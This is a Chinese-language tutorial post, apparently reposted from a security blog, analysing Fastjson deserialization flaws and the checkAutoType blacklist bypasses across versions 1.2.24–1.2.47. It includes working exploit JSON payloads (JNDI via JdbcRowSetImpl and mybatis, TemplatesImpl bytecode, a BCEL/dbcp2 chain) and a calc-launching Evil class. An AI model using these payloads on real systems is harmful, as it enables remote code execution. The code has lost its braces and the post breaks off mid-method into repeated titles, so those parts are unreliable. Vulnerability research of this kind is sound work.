Fastjson反序列化

Posted Christ1na

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Fastjson反序列化相关的知识,希望对你有一定的参考价值。

Fastjson反序列化

0x00 前言

fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。fastjson是目前java语言中最快的json库,其功能完备且使用简单,因而使用非常广泛。自fastjson在1.2.24版本爆出第一次漏洞到至今,有着多次的安全补丁更新和绕过。

0x01 Fastjson简单使用和分析

Fastjson入口类是 com.alibaba.fastjson.JSON,主要的 API 是 JSON.toJSONString,parse和 parseObject。

1.简单环境

直接使用Maven导入依赖

<dependency>
	<groupId>com.alibaba</groupId>
	<artifactId>fastjson</artifactId>
	<version>1.2.24</version>
</dependency>

创建一个Study类用来测试

public class Student 
    private int age;
    private String name;
    public Student()

    ;
    public Student(String name,int age)
        this.name=name;
        this.age=age;
    

    public int getAge() 
        System.out.println("调用了getAge");
        return age;
    

    public void setAge(int age) 
        System.out.println("调用了setAge");
        this.age = age;
    

    public String getName() 
        System.out.println("调用了getName");
        return name;
    

    public void setName(String name) 
        System.out.println("调用了setName");
        this.name = name;
    


    @Override
    public String toString()
        return "\\"name\\":\\""+name+'\\"'+",\\"age\\":"+age+'';
    

2.将类序列化为json

主要的 API 是 JSON.toJSONString,此方法有多种重载方法,可指定多个参数,常见参数如下:

  • Object :即将要序列化的对象

  • SerializerFeature:序列化属性

  • SerializeFilter:序列化过滤器

  • SerializeConfig:序列化时的配置

简单测试:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Test 
    public static void main(String[] args) 
        Student student = new Student("Christ1na",20);
        String s1 = JSON.toJSONString(student);
        System.out.println("----------");
        String s2 = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println("s1:"+s1);
        System.out.println("s2:"+s2);
    

看一下输出

可以发现JSON.toJSONString()成功将类转换为json字符串,并且在转换的同时调用了getter方法,而指定SerializerFeature.WriteClassName参数后,其会将对象类型一起序列化并且会写入到@type字段中。

3.将 json反序列化为类

主要的 API 是JSON.parseObject()和JSON.parse()

尝试将json反序列化为类

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Test 

    public static void main(String[] args) 
        String s= "\\"@type\\":\\"fastjson.Student\\",\\"age\\":20,\\"name\\":\\"Christ1na\\"";
        Object parse = JSON.parse(s);
        System.out.println(parse);
        System.out.println(parse.getClass().getName());
        System.out.println("----------------------");
        JSONObject jsonObject = JSON.parseObject(s);
        System.out.println(jsonObject);
        System.out.println(jsonObject.getClass().getName());
    

看一下输出

可以发现,当parse进行反序列化时,如果json字符串中有@type,会自动执行指定类中相对应属性的setter方法,并且会转换为@type指定类的类型

而parseObject进行反序列化时如果json字符串中有@type,会自动执行指定类的setter和getter方法,并且转换为JSONObject

那为什么parseObject可以调用getter方法呢?

我们来看一下源码

发现会先调用parse方法,然后调用toJSON将对象强转为JSONObject类,而toJSON会调用getter方法

这里列举一些 fastjson 功能要点:

  • 使用 JSON.parse(jsonString)JSON.parseObject(jsonString, Target.class),两者调用链一致,前者会在 jsonString 中解析字符串获取 @type 指定的类,后者则会直接使用参数中的class。
  • fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法,其中 getter 方法需满足条件:方法名长于 4、不是静态方法、以 get 开头且第4位是大写字母、方法不能有参数传入、继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong、此属性没有 setter 方法;setter 方法需满足条件:方法名长于 4,以 set 开头且第4位是大写字母、非静态方法、返回类型为 void 或当前类、参数个数为 1 个。具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中。
  • 使用 JSON.parseObject(jsonString) 将会返回 JSONObject 对象,且类中的所有 getter 与setter 都被调用。
  • 如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数。
  • fastjson 在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略 _|- 字符串,也就是说哪怕你的字段名叫 _a_g_e_,getter 方法为 getAge(),fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用 _- 进行组合混淆。
  • fastjson 在反序列化时,如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码。

那么如果存在一个类,其内存在恶意的getter、setter方法或利用链,那么我们使用fastjson的@type功能,就能对其进行恶意利用。

0x02 漏洞分析

1.2.24

影响版本:fastjson <= 1.2.24
描述:fastjson 默认使用 @type 指定反序列化任意类,攻击者可以通过在 Java 常见环境中寻找能够构造恶意类的方法,通过反序列化的过程中调用的 getter/setter 方法,以及目标成员变量的注入来达到传参的目的,最终形成恶意调用链。

主要有三种利用方式

1.JNDI注入

需要连接远程恶意服务器,在目标没外网的情况下无法直接利用,JDK191以后对JNDI注入做了限制

漏洞点在 com.sun.rowset.JdbcRowSetImpl ,触发点在javax.naming.InitialContext#lookup(),其参数可控,很明显的JNDI注入

其内存在的setAutoCommit方法,调用了this.connect()

跟进this.connect()方法,其调用了var1.lookup()方法,

跟进var1.lookup(),即javax.naming.InitialContext#lookup(),很明显的JNDI注入,而name参数则是由从成员变量 dataSource 中获取

那么构造payload也十分简单了:


	"@type":"com.sun.rowset.JdbcRowSetImpl", 
	"dataSourceName":"rmi://127.0.0.1:8000/calc",
	"autoCommit":true //false也行

测试,成功RCE

2.TemplatesImpl 加载字节码

需要开启Feature.SupportNonPublicField,比较鸡肋

漏洞点在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties(),这个利用点跟CC3的一样,最终调用defineClass()加载恶意字节码,从而执行任意代码

我们来见简单分析一下,首先是getOutputProperties()方法,会调用newTransformer()

跟进newTransformer(),会调用getTransletInstance()方法

而在getTransletInstance()方法中,如果_class为null,则会调用defineTransletClasses(),同时_name不能为空

而在defineTransletClasses()中,会使用自定义的defineClass去加载字节码,而这个 _bytecodes为该类的成员属性,也就是可控的。同时被加载的类其父类必须为ABSTRACT_TRANSLET,即com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

那么完整的流程为

TemplatesImpl#getOutputProperties()
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()

该类存在成员属性_outputProperties,因此我们可以调用getOutputProperties()方法,从而触发恶意利用链。

由于部分需要更改的私有变量没有 setter 方法,所以需要使用 Feature.SupportNonPublicField 参数。尝试构造payload:


	"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
	"_bytecodes": ["yv66vgAAA...CABk="],
	"_name": "Christ1na",
	"_tfactory": ,
	"_outputProperties": ,

测试,成功触发漏洞

3.BCEL加载字节码

可直接在目标本地利用,无额外条件

需要dbcp2包,而tomcat中自带此包,我这里是直接使用maven导入的org.apache.commons.dbcp2

但是在Java 8u251以后,BCEL ClassLoader就用不了了。

详情可看p牛的BCEL ClassLoader去哪了

漏洞点位于dbcp.dbcp2.BasicDataSource中

首先来看入口点getConnection(),其调用了createDataSource()方法

接着调用了createConnectionFactory()方法

在createConnectionFactory()方法中,如果dataSource不为null,则会执行Class.forName(this.driverClassName, true, this.driverClassLoader);

很明显,当Class.forName的第二个参数为true时,类加载后会执行static代码块中的内容,而driverClassName和 driverClassLoader都为该类的属性,可以控制,所以只要找到一个可以利用的恶意类即可,此时就会用到BCEL ClassLoader

该类位于com.sun.org.apache.bcel.internal.util.ClassLoader,其重写了Java内置的ClassLoader#loadClass()方法

protected Class loadClass(String class_name, boolean resolve)
    throws ClassNotFoundException
  
    Class cl = null;

    /* First try: lookup hash table.
     */
    if((cl=(Class)classes.get(class_name)) == null) 
      /* Second try: Load system class using system class loader. You better
       * don't mess around with them.
       */
      for(int i=0; i < ignored_packages.length; i++) 
        if(class_name.startsWith(ignored_packages[i])) 
          cl = deferTo.loadClass(class_name);
          break;
        
      

      if(cl == null) 
        JavaClass clazz = null;

        /* Third try: Special request?
         */
        if(class_name.indexOf("$$BCEL$$") >= 0)
          clazz = createClass(class_name);
        else  // Fourth try: Load classes via repository
          if ((clazz = repository.loadClass(class_name)) != null) 
            clazz = modifyClass(clazz);
          
          else
            throw new ClassNotFoundException(class_name);
        

        if(clazz != null) 
          byte[] bytes  = clazz.getBytes();
          cl = defineClass(class_name, bytes, 0, bytes.length);
         else // Fourth try: Use default class loader
          cl = Class.forName(class_name);
      

      if(resolve)
        resolveClass(cl);
    

    classes.put(class_name, cl);

    return cl;
  

ClassLoader#loadClass()中,其会判断类名是否是$$BCEL$$开头,如果是的话,将会对 B C E L BCEL BCEL后面的字符串进行解码,然后作为Class的字节码,并调用 defineClass() 获取 Class 对象

我们可以编写一个恶意类Evil:

public class Evil 
    static 
        try 
            Runtime.getRuntime().exec("calc.exe");
         catch (Exception e) 
    

然后将Evil生成BCEL形式的字节码。使用这个字节码来新建对象,将会调用到计算器:

package fastjson;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
public class bcel 
    public static void main(String[] args) throws Exception
        JavaClass javaClass = Repository.lookupClass(test1.class);
        String code = Utility.encode(javaClass.getBytes(), true);
        System.out.println(code);
        new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();

    


那么直接构造payload:


    
        "aaa": 
                "@type": "org.apache.commons.dbcp2.BasicDataSource",
                "driverClassLoader": 
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                ,
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        
    : "bbb"

成功触发漏洞代码

为什么我们这里会这样构造payload呢?

我们知道此利用链的入口点为BasicDataSource.getConnection()方法,JSON.parse() 会调用满足特定条件的 getter 方法,显然getConnection()方法并不满足条件,因此如果我们使用parse()方法去正常反序列化它显然是不会触发的,当然如果用JSON.parseObject()是可以直接触发的。

原PoC中很巧妙的利用了 JSONObject对象的 toString() 方法实现了突破。JSONObject是Map的子类,在执行toString() 时会将当前类转为字符串形式,会提取类中所有的Field,自然会执行相应的 getter 、is等方法。

首先,在 “@type”: “org.apache.commons.dbcp2.BasicDataSource”…… 这一整段外面再套一层,反序列化生成一个 JSONObject 对象。

然后,将这个 JSONObject 放在 JSON Key 的位置上,在 JSON 反序列化的时候,FastJson 会对 JSON Key 自动调用 toString() 方法:

com.alibaba.fastjson.parser.DefaultJSONParser.parseObject
DefaultJSONParser.java:436

if (object.getClass() == JSONObject.class) 
    key = (key == null) ? "null" : key.toString();

这样就能调用BasicDataSource.getConnection()方法了,完整poc应该是这样的:


    
        "@type": "com.alibaba.fastjson.JSONObject",
        "aaa":
                "@type": "org.apache.commons.dbcp2.BasicDataSource",
                "driverClassLoader": 
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                ,
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        
    : "bbb"


1.2.25-1.2.41

影响版本:1.2.25 <= fastjson <= 1.2.41
描述:在版本 1.2.25 中,官方对之前的反序列化漏洞进行了修复,引入了 checkAutoType 安全机制,默认情况下 autoTypeSupport 关闭,不能直接反序列化任意类,而打开 AutoType 之后,是基于内置黑名单来实现安全的,fastjson 也提供了添加黑名单的接口。

在com.alibaba.fastjson.parser.ParserConfig中,添加了几个新变量:

  • autoTypeSupport:用来标识是否开启任意类型的反序列化,并且默认关闭,为true时会使用checkAutoType来进行安全检测
  • denyList:反序列化类的黑名单
  • acceptList:反序列化白名单

我们来看一下checkAutoType()函数的拦截逻辑:

首先在开启autoTypeSupport的情况下,会对类名进行白名单检测,如果符合则进入TypeUtils.loadClass,然后进行黑名单检测,如果类名在黑名单中直接抛出异常

继续向下看,如果autoTypeSupport没有开启,先进行黑名单匹配,如果匹配上抛出异常,在进行白名单匹配,匹配成功则进行加载。最后如果黑白名单都未匹配上且开启了auto则会调用TypeUtils.loadClass

跟进一下loadClass,这个类在加载目标类之前为了兼容带有描述符的类名,使用了递归调用来处理描述符中的 [L; 字符。

因此在此位置出现了逻辑漏洞,如果开启了autoType,可以在@type的前后分别加上L ;来进行绕过黑名单的限制

需要开启aotoType

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

payload:


	"@type":"Lcom.sun.rowset.JdbcRowSetImpl;", 
	"dataSourceName":"rmi://127.0.0.1:8000/calc",
	"autoCommit":true

1.2.42

影响版本:1.2.25 <= fastjson <= 1.2.42

描述:将原本的明文黑名单转为使用了 Hash 黑名单,同时之前版本一直存在的使用类描述符绕过黑名单校验的问题尝试进行了修复。

看一下com.alibaba.fastjson.parser.ParserConfig的变化,以此来防止安全人员对其研究。

而且在 checkAutoType加入了新的过滤,如果类第一个字符是 L 结尾是 ;,会使用 substring函数进行了去除,显然可进行双写绕过,

payload:


	"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", 
	"dataSourceName":"rmi://127.0.0.1:8000/calc",
	"autoCommit":true

1.2.43

影响版本:1.2.25 <= fastjson <= 1.2.43
描述:修复上一个版本中双写绕过的问题

增加新判断,如果类名中出现两个LL则抛出异常

但是在 loadClass 的过程中,还针对 [ 也进行了处理和递归,那么也可以利用 [ 进行黑名单的绕过

payload:


	"@type":"[com.sun.rowset.JdbcRowSetImpl"[, 
	"dataSourceName":"rmi://127.0.0.1:8000/calc",
	"autoCommit":true

1.2.44

影响版本:1.2.25 <= fastjson <= 1.2.44
描述:修复了使用 [ 绕过黑名单防护的问题,在此版本之后,由字符串处理导致的黑名单绕过就结束了。

checkAutoType中进行判断,如果类名以[开始直接抛出异常

1.2.45

影响版本:1.2.25 <= fastjson <= 1.2.45
描述:在此版本又被爆出了一个黑名单绕过,我们能通过mybatis组件进行JNDI接口调用,进而加载恶意类。

payload:


    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":
        "data_source":"ldap://127.0.0.1:7777/calc"
    

1.2.47

影响版本:1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport
影响版本:1.2.33 <= fastjson <= 1.2.47

描述:此版本出现了重大漏洞,可以在不开启AutoTypeSupport的情况下进行反序列化的利用。原理是通过Fastjson自带的缓存机制将恶意类加载到Mapping中,从而绕过checkAutoType检测

我们来看一下checkAutoType() 方法,在开启autoTypeSupport的情况下,会先进行白名单判断,然后进行黑名单判断时,会判断TypeUtils.getClassFromMapping(typeName) 是否为null,如果不为空,则会继续向下走,从Mappingdeserializers中寻找类,如果存在则返回clazz

那么如果未开启autoTypeSupport,代码会先从Mappingdeserializers中寻找类,如果存在则返回clazz,从而绕过后面的黑名单检测

那我们如何才能在这两步中将我们的恶意类加载进去呢?

其中deserializers我们无法向其传参,所以无法利用,那我们着重看一下TypeUtils.getClassFromMapping(typeName)。

该方法从 TypeUtils.mappings 中取值,mapping.put方法用来向mappings赋值,其在以下两个函数中被调用:

  • addBaseClassMappings()
  • loadClass

而addBaseClassMappings()为无参的方法,无可控参数,我们来看一下loadClass()方法:

public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) 
		...//前面代码为检查类名 
        try
            //classLoader不为空,cache为true,则将参数中的className加入mappings中
            if(classLoader != null)
                clazz = classLoader.loadClass(className);
                if (cache) 
                    mappings.put(className, clazz);
                
                return clazz;
            
         catch(Throwable e)
            e.printStackTrace();
            // skip
        
        try
            ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader15-java安全——fastjson反序列化的历史版本绕过(开启AutoType功能)

15-java安全——fastjson反序列化的历史版本绕过(开启AutoType功能)

15-java安全——fastjson反序列化的历史版本绕过(开启AutoType功能)

13-java安全——fastjson1.2.24反序列化TemplatesImpl利用链分析

13-java安全——fastjson1.2.24反序列化TemplatesImpl利用链分析

13-java安全——fastjson1.2.24反序列化TemplatesImpl利用链分析